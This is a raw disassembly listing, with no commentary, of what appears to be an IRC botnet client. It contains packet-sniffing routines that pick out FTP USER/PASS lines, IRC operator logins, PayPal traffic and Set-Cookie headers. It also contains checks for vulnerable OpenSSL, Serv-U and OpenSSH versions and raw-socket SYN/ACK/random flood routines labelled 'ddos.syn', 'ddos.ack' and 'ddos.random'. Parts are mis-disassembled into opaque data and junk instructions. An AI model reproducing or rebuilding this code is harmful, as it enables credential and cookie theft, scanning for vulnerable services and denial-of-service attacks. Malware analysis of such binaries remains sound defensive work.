--------------------------------------------------------------------------- loc_4132E5: ; CODE XREF: sub_413061+1EFj cmp esi, 1 jz short loc_4132FE cmp esi, 3 jz short loc_4132FE cmp esi, 2 jz short loc_4132F9 cmp esi, 4 jnz short loc_413313 loc_4132F9: ; CODE XREF: sub_413061+291j push [ebp+arg_0] jmp short loc_413305 ; --------------------------------------------------------------------------- loc_4132FE: ; CODE XREF: sub_413061+287j ; sub_413061+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_413305: ; CODE XREF: sub_413061+29Bj lea eax, [ebp+var_2DC] push eax call sub_41E560 pop ecx pop ecx loc_413313: ; CODE XREF: sub_413061+12Ej ; sub_413061+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_44B78C jl loc_41314B cmp [ebp+var_4], 0 jz loc_4130BC push [ebp+var_D8] call sub_40905B pop ecx push 0 call near ptr 3D0000h sbb eax, 424448Bh ; CODE XREF: seg000:00413864p ; seg000:0041388Ap sub_413061 endp ; sp-analysis failed mov ds:dword_4E2674, eax mov eax, offset dword_4E2674 retn ; =============== S U B R O U T I N E ======================================= sub_413351 proc near ; CODE XREF: seg000:00413910p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_41336B loc_413367: ; CODE XREF: sub_413351+29j ; sub_413351+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41336B: ; CODE XREF: sub_413351+14j push offset aMss2 ; "#mss2" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_413367 push offset aPsniff ; "[PSNIFF]:" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_413367 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_413367 push offset aJoin_0 ; "JOIN #" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_4133B3 loc_4133AF: ; CODE XREF: sub_413351+71j ; sub_413351+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4133B3: ; CODE XREF: sub_413351+5Cj push offset a302 ; "302 " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4133AF push offset a366 ; "366 " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4133AF push offset a_login ; ":.login" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4133AF push offset aLogin ; ":!login" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4133AF push offset aLogin_0 ; ":!Login" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4133AF push offset a_login_0 ; ":.Login" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4133AF push offset a_ident ; ":.ident" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4133AF push offset aIdent_0 ; ":!ident" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz loc_4133AF push offset a_hashin ; ":.hashin" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz loc_4133AF push offset aHashin ; ":!hashin" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413351 endp ; =============== S U B R O U T I N E ======================================= sub_413468 proc near ; CODE XREF: seg000:00413949p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_413482 loc_41347E: ; CODE XREF: sub_413468+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413482: ; CODE XREF: sub_413468+14j push offset aMss2 ; "#mss2" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_41347E push offset aOper ; "OPER " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_4134A8 loc_4134A4: ; CODE XREF: sub_413468+4Fj ; sub_413468+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4134A8: ; CODE XREF: sub_413468+3Aj push offset aNick_1 ; "NICK " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4134A4 push offset aOper_0 ; "oper " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4134A4 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413468 endp ; =============== S U B R O U T I N E ======================================= sub_4134DE proc near ; CODE XREF: seg000:0041397Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_4134F8 loc_4134F4: ; CODE XREF: sub_4134DE+29j ; sub_4134DE+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4134F8: ; CODE XREF: sub_4134DE+14j push offset aMss2 ; "#mss2" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4134F4 push offset aNick_2 ; "NICK " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4134F4 push offset a220 ; "220 " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_41352F loc_41352B: ; CODE XREF: sub_4134DE+60j ; sub_4134DE+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41352F: ; CODE XREF: sub_4134DE+4Bj push offset a230 ; "230 " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_41352B push offset aUser_2 ; "USER " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_41352B push offset aPass_0 ; "PASS " push esi call sub_41DBE0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4134DE endp ; =============== S U B R O U T I N E ======================================= sub_413565 proc near ; CODE XREF: seg000:004139B0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_41357F loc_41357B: ; CODE XREF: sub_413565+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41357F: ; CODE XREF: sub_413565+14j push offset aMss2 ; "#mss2" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_41357B push offset aPaypal ; "paypal" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_4135A5 loc_4135A1: ; CODE XREF: sub_413565+4Fj ; sub_413565+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4135A5: ; CODE XREF: sub_413565+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4135A1 push offset aPaypal_com ; "PAYPAL.COM" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4135A1 push offset aPaypal_com_0 ; "paypal.com" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_4135A1 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413565 endp ; =============== S U B R O U T I N E ======================================= sub_4135EC proc near ; CODE XREF: seg000:loc_413A16p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_413606 loc_413602: ; CODE XREF: sub_4135EC+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413606: ; CODE XREF: sub_4135EC+14j push offset aMss2 ; "#mss2" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_413602 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_41362C loc_413628: ; CODE XREF: sub_4135EC+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41362C: ; CODE XREF: sub_4135EC+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_413628 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4135EC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 113B8h call sub_41DEB0 mov eax, [ebp+8] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp-0B8h] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp-3B7h] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp-3B8h], bl push 0FFh rep stosd stosw lea eax, [ebp-3B8h] mov word ptr [ebp-20h], 2 push eax mov [ebp-1Eh], bx mov [ebp-1Ch], ebx call ds:dword_451508 lea eax, [ebp-3B8h] push eax call ds:dword_451574 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp-8] push eax call sub_41E840 mov eax, [ebp-8] add esp, 0Ch mov [ebp-1Ch], eax push ebx push 3 push 2 call ds:dword_451570 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-10h], edi jnz short loc_4136F7 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4136F7: ; CODE XREF: seg000:004136ECj lea eax, [ebp-20h] push 10h push eax push edi call ds:dword_451520 cmp eax, 0FFFFFFFFh jnz short near ptr loc_41376C+1 call ds:dword_451488 push eax lea eax, [ebp-2B8h] push offset dword_44B9D0 push eax call sub_41D260 add esp, 0Ch cmp [ebp-2Ch], ebx jnz short loc_413749 push ebx lea eax, [ebp-2B8h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B4h] push eax push dword ptr [ebp-0B8h] call sub_40145D add esp, 14h loc_413749: ; CODE XREF: seg000:00413727j lea eax, [ebp-2B8h] push eax call sub_4161A7 pop ecx push edi call ds:dword_451588 push dword ptr [ebp-34h] call sub_40905B pop ecx push ebx call near ptr 3D0000h loc_41376C: ; CODE XREF: seg000:00413707j rcpps xmm1, oword ptr [ebp+5053DC45h] push ebx push ebx lea eax, [ebp-0Ch] push 4 push eax push 98000001h push edi mov [ebp-0Ch], esi call ds:dword_4514A0 cmp eax, 0FFFFFFFFh jnz short near ptr loc_4137F2+1 call ds:dword_451488 push eax lea eax, [ebp-2B8h] push offset dword_44BA18 push eax call sub_41D260 add esp, 0Ch cmp [ebp-2Ch], ebx jnz short loc_4137CF push ebx lea eax, [ebp-2B8h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B4h] push eax push dword ptr [ebp-0B8h] call sub_40145D add esp, 14h loc_4137CF: ; CODE XREF: seg000:004137ADj lea eax, [ebp-2B8h] push eax call sub_4161A7 pop ecx push edi call ds:dword_451588 push dword ptr [ebp-34h] call sub_40905B pop ecx push ebx call near ptr 3D0000h loc_4137F2: ; CODE XREF: seg000:0041378Dj test [esi+200h], bh loc_4137F8: ; CODE XREF: seg000:00413827j ; seg000:0041384Cj ... mov edi, 0FFFFh lea eax, [ebp-113B8h] push edi push ebx push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-113B8h] push ebx push edi push eax push dword ptr [ebp-10h] call ds:dword_45150C cmp byte ptr [ebp-113AFh], 6 jnz short loc_4137F8 push dword ptr [ebp-113A4h] mov edi, ds:dword_4F14AC call edi ; dword_4F14AC push dword ptr [ebp-113A2h] movzx eax, ax mov [ebp+8], eax call edi ; dword_4F14AC cmp dword ptr [ebp+8], 6Eh movzx edi, ax jz short loc_4137F8 cmp dword ptr [ebp+8], 19h jz short loc_4137F8 cmp edi, 6Eh jz short loc_4137F8 cmp edi, 19h jz short loc_4137F8 push dword ptr [ebp-113ACh] call near ptr loc_413341+1 pop ecx push dword ptr [eax] call ds:dword_4F14B0 ; inet_ntoa push eax lea eax, [ebp-13B8h] push offset dword_44BA64 push eax call sub_41D260 push dword ptr [ebp-113A8h] call near ptr loc_413341+1 add esp, 10h push dword ptr [eax] call ds:dword_4F14B0 ; inet_ntoa push eax lea eax, [ebp-0BB8h] push offset dword_44BA68 push eax call sub_41D260 lea eax, [ebp-1138Ch] mov [ebp-4], ebx push eax call sub_41AC70 add esp, 10h test eax, eax jle short loc_4138F6 loc_4138C2: ; CODE XREF: seg000:004138F4j mov eax, [ebp-4] cmp byte ptr [ebp+eax-1138Ch], 0Dh lea eax, [ebp+eax-1138Ch] jnz short loc_4138D9 mov byte ptr [eax], 20h loc_4138D9: ; CODE XREF: seg000:004138D4j cmp byte ptr [eax], 0Ah jnz short loc_4138E1 mov byte ptr [eax], 20h loc_4138E1: ; CODE XREF: seg000:004138DCj inc dword ptr [ebp-4] lea eax, [ebp-1138Ch] push eax call sub_41AC70 cmp [ebp-4], eax pop ecx jl short loc_4138C2 loc_4138F6: ; CODE XREF: seg000:004138C0j cmp dword ptr [ebp+8], 50h jz loc_4139A9 cmp edi, 50h jz loc_4139A9 lea eax, [ebp-1138Ch] push eax call sub_413351 test al, al pop ecx jz short loc_41393D lea eax, [ebp-1138Ch] push eax lea eax, [ebp-0BB8h] push edi push eax push dword ptr [ebp+8] lea eax, [ebp-13B8h] push eax push offset unk_44BA6C jmp loc_4139D8 ; --------------------------------------------------------------------------- loc_41393D: ; CODE XREF: seg000:00413918j cmp edi, 50h jz short loc_4139A9 lea eax, [ebp-1138Ch] push eax call sub_413468 test al, al pop ecx jz short loc_413973 lea eax, [ebp-1138Ch] push eax lea eax, [ebp-0BB8h] push edi push eax push dword ptr [ebp+8] lea eax, [ebp-13B8h] push eax push offset unk_44BABC jmp short loc_4139D8 ; --------------------------------------------------------------------------- loc_413973: ; CODE XREF: seg000:00413951j cmp edi, 50h jz short loc_4139A9 lea eax, [ebp-1138Ch] push eax call sub_4134DE test al, al pop ecx jz short loc_4139A9 lea eax, [ebp-1138Ch] push eax lea eax, [ebp-0BB8h] push edi push eax push dword ptr [ebp+8] lea eax, [ebp-13B8h] push eax push offset unk_44BB0C jmp short loc_4139D8 ; --------------------------------------------------------------------------- loc_4139A9: ; CODE XREF: seg000:004138FAj ; seg000:00413903j ... lea eax, [ebp-1138Ch] push eax call sub_413565 test al, al pop ecx lea eax, [ebp-1138Ch] push eax jz short loc_413A16 lea eax, [ebp-0BB8h] push edi push eax lea eax, [ebp-13B8h] push dword ptr [ebp+8] push eax push offset unk_44BB5C loc_4139D8: ; CODE XREF: seg000:00413938j ; seg000:00413971j ... lea eax, [ebp-2B8h] push esi push eax call sub_41D360 add esp, 20h cmp [ebp-2Ch], ebx jnz loc_4137F8 push ebx lea eax, [ebp-2B8h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B4h] push eax push dword ptr [ebp-0B8h] call sub_40145D add esp, 14h jmp loc_4137F8 ; --------------------------------------------------------------------------- loc_413A16: ; CODE XREF: seg000:004139BFj call sub_4135EC test al, al pop ecx jz loc_4137F8 lea eax, [ebp-1138Ch] push eax lea eax, [ebp-0BB8h] push edi push eax push dword ptr [ebp+8] lea eax, [ebp-13B8h] push eax push offset unk_44BBAC jmp short loc_4139D8 ; --------------------------------------------------------------------------- dword_413A44 dd 81EC8B55h, 494ECh, 8458B00h, 0A5B95756h, 8B000000h ; DATA XREF: seg000:00406410o dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 0FF000000h dd 4F134015h, 19E85000h, 8D0000A1h, 0FFFE7485h, 858D50FFh dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh dd 395h, 6C858D50h, 68FFFFFBh, 44BBFCh, 97B6E850h, 0F6330000h dd 3920C483h, 2075F875h, 6C858D56h, 0FFFFFFFBh, 8D50F475h dd 0FFFEF485h, 0B5FF50FFh, 0FFFFFD6Ch, 0FED98CE8h, 14C483FFh dd 0FB6C858Dh, 0E850FFFFh, 26C7h, 0FD70B5FFh, 70E8FFFFh dd 59FFFF55h, 0DE85659h, 84FFFBC5h ; --------------------------------------------------------------------------- pop edi pop esi loc_413AF6: ; CODE XREF: seg000:00413E6Dp push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call ds:dword_451464 test eax, eax jz short loc_413B36 xor eax, eax jmp loc_413E29 ; --------------------------------------------------------------------------- loc_413B36: ; CODE XREF: seg000:00413B2Dj push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_451594 cmp eax, 0FFFFFFFFh mov [ebp-20h], eax jz loc_413E21 push esi lea ecx, [ebp-40h] push 4 push ecx push 2 push ebx push eax mov [ebp-40h], edi call ds:dword_4514D4 cmp eax, 0FFFFFFFFh jz loc_413E17 push dword ptr [ebp+14h] mov word ptr [ebp-58h], 2 call ds:dword_4514F4 mov esi, [ebp+8] push 28h mov [ebp-56h], ax mov [ebp-54h], esi mov byte ptr [ebp-34h], 45h call ds:dword_4514F4 push dword ptr [ebp+14h] mov [ebp-32h], ax mov [ebp-30h], di mov [ebp-2Eh], bx mov byte ptr [ebp-2Ch], 80h mov byte ptr [ebp-2Bh], 6 mov [ebp-2Ah], bx mov [ebp-24h], esi call ds:dword_4514F4 mov [ebp-12h], ax call sub_41DBA0 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call ds:dword_4514F4 push 12345678h mov [ebp-14h], ax call ds:dword_4514F0 push offset aDdos_syn_0 ; "ddos.syn" mov [ebp-10h], eax push dword ptr [ebp+10h] call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_413C06 mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 2 jmp short loc_413C5A ; --------------------------------------------------------------------------- loc_413C06: ; CODE XREF: seg000:00413BFBj push offset aDdos_ack ; "ddos.ack" push dword ptr [ebp+10h] call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_413C22 mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 10h jmp short loc_413C5A ; --------------------------------------------------------------------------- loc_413C22: ; CODE XREF: seg000:00413C17j push offset aDdos_random ; "ddos.random" push dword ptr [ebp+10h] call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_413C5A call sub_41DBA0 push 3 cdq pop ecx idiv ecx mov [ebp-0Ch], edx call sub_41DBA0 loc_413C48: ; CODE XREF: seg000:00413C83j push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp-7], dl loc_413C5A: ; CODE XREF: seg000:00413C04j ; seg000:00413C20j ... push 4000h mov byte ptr [ebp-8], 50h call ds:dword_4514F4 mov [ebp-6], ax lea eax, [ebp-48h] push eax mov [ebp-2], bx mov [ebp+10h], ebx call near ptr 3D0000h adc ecx, [ebp-17AF1BBBh] jns short loc_413C48 sti ; --------------------------------------------------------------------------- dw 0EEFFh dd 8BBC75FFh, 0FF991845h, 5052B875h, 0C6E7E8h, 0E4450300h dd 135E146Ah, 4589E855h, 0C85589C4h, 0FC5D8966h, 9EEFE8h dd 0E9B99900h, 0F7000003h, 0E8C281F9h, 52000003h, 14F415FFh dd 89660045h, 0D1E8EC45h, 8B00009Eh, 10E7C1F8h, 9EC7E8h dd 57F80B00h, 14F415FFh, 0B70F0045h, 0F04589C0h, 0FF0C458Bh dd 0FF500C45h, 4514F015h, 0D8458900h, 56DC458Bh, 888C4589h dd 45C6905Dh, 15FF0691h, 4514F4h, 92458966h, 89D8458Bh dd 458D8845h, 50206A88h, 0FF4C858Dh, 0E850FFFFh, 0AB18h dd 56EC458Dh, 6C858D50h, 50FFFFFFh, 0AB07E8h, 4C858D00h dd 6AFFFFFFh, 29E85034h, 66FFFEE9h, 8DFC4589h, 5056CC45h dd 0FF4C858Dh, 0E850FFFFh, 0AAE4h, 56EC458Dh, 60858D50h dd 50FFFFFFh, 0AAD3E8h, 8D046A00h, 0FFFF7485h, 0E85053FFh dd 9384h, 8D44C483h, 0FFFF4C85h, 50286AFFh, 0FEE8E3E8h dd 458966FFh, 0CC458DD6h, 858D5056h, 0FFFFFF4Ch, 0AA9EE850h dd 0C4830000h, 0A8458D14h, 5350106Ah, 0FF4C858Dh, 286AFFFFh dd 0E075FF50h, 155415FFh, 0F8830045h, 12874FFh, 458D1045h dd 31E850E4h, 0A7FFFBC2h, 3BE8458Bh, 3C7FC845h, 0FECA8C0Fh dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h, 0FFFFFFFEh, 45148815h dd 858D5000h, 0FFFFFF0Ch, 44BC6068h, 5DE85000h, 8D000094h dd 0FFFF0C85h, 98E850FFh, 83000023h, 3EB10C4h ; --------------------------------------------------------------------------- mov ebx, [ebp+10h] loc_413E17: ; CODE XREF: seg000:00413B6Ej push dword ptr [ebp-20h] call ds:dword_451588 pop esi loc_413E21: ; CODE XREF: seg000:00413B51j call ds:dword_45144C mov eax, ebx loc_413E29: ; CODE XREF: seg000:00413B31j pop edi pop ebx leave retn ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_4024FB push dword ptr [esp+18h] mov esi, eax call sub_41D560 push dword ptr [esp+24h] mov ebx, eax call sub_41D560 mov edi, eax call sub_41DBA0 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call loc_413AF6 add esp, 20h test eax, eax jnz short loc_413E7C push 1 pop eax loc_413E7C: ; CODE XREF: seg000:00413E77j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413E8B db 55h ; DATA XREF: seg000:004065F8o dd 0EC81EC8Bh, 3BCh, 458B5653h, 686A5708h, 8D59F08Bh, 0FFFE44BDh dd 5B016AFFh, 0FF68h, 0F3036A00h, 89026AA5h, 19C98h, 7015FF00h dd 83004515h, 4589FFF8h, 0FF5F75FCh, 45148815h, 858D5000h dd 0FFFFFC44h, 44BC9468h, 81E85000h, 33000093h, 0CC483FFh dd 75DC7D39h, 858D5720h, 0FFFFFC44h, 50D875FFh, 0FF48858Dh dd 0FF50FFFFh, 0FFFE44B5h, 0D557E8FFh, 0C483FFFEh, 44858D14h dd 50FFFFFCh, 2292E8h, 0C875FF00h, 0FF513EE8h, 575959FFh dd 0FBC0DBE8h, 4D8D4EFFh, 51046AF4h, 26AFF33h, 5D895057h dd 0D415FFF4h, 83004514h, 5D75FFF8h, 148815FFh, 8D500045h dd 0FFFC4485h, 0BCD468FFh, 0E8500044h, 9308h, 390CC483h dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h dd 0B5FF50FFh, 0FFFFFE44h, 0FED4E0E8h, 14C483FFh, 0FC44858Dh dd 0E850FFFFh, 221Bh, 0E8C875FFh, 0FFFF50C7h, 0E8575959h dd 0FFFBC064h, 48858DF8h, 50FFFFFEh, 153015FFh, 0F8830045h dd 8D5575FFh, 0FFFC4485h, 0BD1868FFh, 0E8500044h, 92A0h dd 59DC7D39h, 57207559h, 0FC44858Dh, 75FFFFFFh, 858D50D8h dd 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFED479h, 8D14C483h dd 0FFFC4485h, 0B4E850FFh, 0FF000021h, 60E8C875h, 59FFFF50h dd 0FDE85759h, 9EFFFBBFh, 458D106Ah, 0E85057E4h, 90F0h dd 660CC483h, 2E445C7h, 15FF5700h, 4514F4h, 0E6458966h dd 0FE48858Dh, 0FF50FFFFh, 45153015h, 40358B00h, 89004F13h dd 7D89E845h, 89D6FF08h, 0D6FFF845h, 33F8452Bh, 3E8B9D2h dd 0F1F70000h, 0FD0453Bh, 19487h, 41C6800h, 5C60000h, 4E2680h dd 0F415FF45h, 39004514h, 0A366D47Dh, 4E2682h, 841D8966h dd 66004E26h, 26863D89h, 5C6004Eh, 4E2688h, 891D8880h dd 66004E26h, 268A3D89h, 3074004Eh, 9B03E8h, 0C1D88B00h dd 0F9E808E3h, 300009Ah, 8E3C1D8h, 9AEFE8h, 0C1D80300h dd 0E5E808E3h, 300009Ah, 89016AD8h, 4E268C1Dh, 18EB5B00h dd 0FE44B5FFh, 44E8FFFFh, 59FFFEE5h, 3015FF50h, 0A3004515h dd 4E268Ch, 0A3E8458Bh, 4E2690h, 9AB3E8h, 0B99900h, 0F7000001h dd 941588F9h, 0E8004E26h, 9AA0h, 100B999h, 0F9F70000h dd 26951588h, 8DE8004Eh, 9900009Ah, 0F0B9h, 4006800h, 0F9F70000h dd 963D8966h, 66004E26h, 269A1D89h, 6642004Eh, 26981589h dd 65E8004Eh, 9900009Ah, 0FFB9h, 52F9F700h, 4E269C68h dd 8FB2E800h, 0C4830000h, 0E4458D0Ch, 5750106Ah, 41C68h dd 26806800h, 75FF004Eh, 5415FFFCh, 83004515h, 874FFF8h dd 0E90845FFh, 0FFFFFECAh, 0FFFC75FFh, 45158815h, 8815FF00h dd 50004514h, 0FE48858Dh, 75FFFFFFh, 4C685008h, 8D0044BDh dd 0FFFC4485h, 20068FFh, 0E8500000h, 91B8h, 3918C483h dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h dd 0B5FF50FFh, 0FFFFFE44h, 0FED290E8h, 14C483FFh, 0FC44858Dh dd 0E850FFFFh, 1FCBh, 0E8C875FFh, 0FFFF4E77h, 0E8575959h dd 0FFFBBE14h, 0FC75FF86h, 158815FFh, 458B0045h, 6BD23308h dd 0C88B3CC0h, 0F70AE8C1h, 0E9C1D075h, 8D505114h, 0FFFE4885h dd 875FFFFh, 0C8858D50h, 50FFFFFEh, 0FC44858Dh, 0A868FFFFh dd 500044BDh, 9033E8h, 1CC48300h, 75DC7D39h, 858D5720h dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h dd 0D20BE8FFh, 0C483FFFEh, 44858D14h, 50FFFFFCh, 1F46E8h dd 0C875FF00h, 0FF4DF2E8h, 575959FFh, 0FBBD8FE8h db 0FFh, 0Eh word_414272 dw 8B55h ; DATA XREF: seg000:0040585Eo dd 320B8ECh, 31E80001h, 8B00009Ch, 56530845h, 8B496A57h dd 0BD8D59F0h, 0FFFFFEBCh, 16AA5F3h, 20B8895Fh, 0FF000001h dd 45147C15h, 8458900h, 0FF40858Dh, 0FF50FFFFh, 45153015h dd 33F08B00h, 83C033DBh, 1175FFFEh, 0FF40858Dh, 0FF50FFFFh dd 45157415h, 74C33B00h, 87D8306h, 8D5D75FFh, 0FFFF4085h dd 858D50FFh, 0FFFFFCBCh, 44BE0868h, 75E85000h, 8300008Fh dd 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFED14Dh, 8D14C483h dd 0FFFCBC85h, 88E850FFh, 0FF00001Eh, 34E8D075h, 59FFFF4Dh dd 0D1E85759h, 49FFFBBCh, 0C74C33Bh, 8B0C408Bh, 89008B00h dd 3EBFC45h, 6AFC7589h, 0E0458D1Ch, 0B1E85053h, 8300008Dh dd 0B8FFE84Dh, 0FFDCh, 390CC483h, 37EC445h, 39C44589h dd 37DC87Dh, 33C87D89h, 0C05D39F6h, 75FF267Eh, 0E0458DC8h dd 53501C6Ah, 0FCE0858Dh, 75FFFFFEh, 75FF50C4h, 875FFFCh dd 141015FFh, 3B460045h, 0DA7CC075h, 0FF0875FFh, 4515A815h dd 40858D00h, 50FFFFFFh, 0FCBC858Dh, 4868FFFFh, 500044BEh dd 8EA7E8h, 0CC48300h, 75D85D39h, 858D5320h, 0FFFFFCBCh dd 50D475FFh, 0FEC0858Dh, 0FF50FFFFh, 0FFFEBCB5h, 0D07FE8FFh dd 0C483FFFEh, 0BC858D14h, 50FFFFFCh, 1DBAE8h, 0D075FF00h dd 0FF4C66E8h, 535959FFh, 0FBBC03E8h db 0FFh, 9Ch word_4143FE dw 8B55h ; DATA XREF: seg000:004059A5o dword_414400 dd 310B8ECh, 0A5E80001h, 8B00009Ah, 56530845h, 8B496A57h dd 0BD8D59F0h, 0FFFFFECCh, 16AA5F3h, 20B0895Eh, 0FF000001h dd 4F134015h, 5DE85000h, 59000097h, 26A116Ah, 15FF026Ah dd 451570h, 0FF33D88Bh, 458D106Ah, 0E85057F0h, 8CB0h, 8D0CC483h dd 0FFFF5085h, 45C766FFh, 500002F0h, 153015FFh, 0F8830045h dd 84589FFh, 858D7575h, 0FFFFFF50h, 7415FF50h, 3B004515h dd 8D5D75C7h, 0FFFF5085h, 858D50FFh, 0FFFFFCCCh, 44BE8C68h dd 0C9E85000h, 8300008Dh, 7D390CC4h, 572075E8h, 0FCCC858Dh dd 75FFFFFFh, 858D50E4h, 0FFFFFED0h, 0CCB5FF50h, 0E8FFFFFEh dd 0FFFECFA1h, 8D14C483h, 0FFFCCC85h, 0DCE850FFh, 0FF00001Ch dd 88E8E075h, 59FFFF4Bh, 25E85659h, 3FFFFBBBh, 8B0C408Bh dd 8D03EB00h, 8B0845h, 89DC7D39h, 1175F445h, 96ABE8h, 0DCB99900h dd 0F70000FFh, 0EB5242F9h, 0DC75FF03h, 14F415FFh, 75390045h dd 458966DCh, 89037DF2h, 0FFB8DC75h, 390000FFh, 37EDC45h dd 8BDC4589h, 0A6AD045h, 0F9F75999h, 89D87D39h, 375D045h dd 33D87589h, 0D47D39F6h, 5DE81A7Eh, 99000096h, 0FFB9h dd 46F9F700h, 88D4753Bh, 0FCEF3594h, 0E67CFFFEh, 0FFD0458Bh dd 0C085D04Dh, 0B6A557Eh, 0F0458D5Eh, 5750106Ah, 962FE8h dd 990A6A00h, 8BF9F759h, 0C22BD445h, 0F0858D50h, 50FFFEFCh dd 5415FF53h, 0FF004515h, 15FFD875h, 4F12F4h, 39CE754Eh 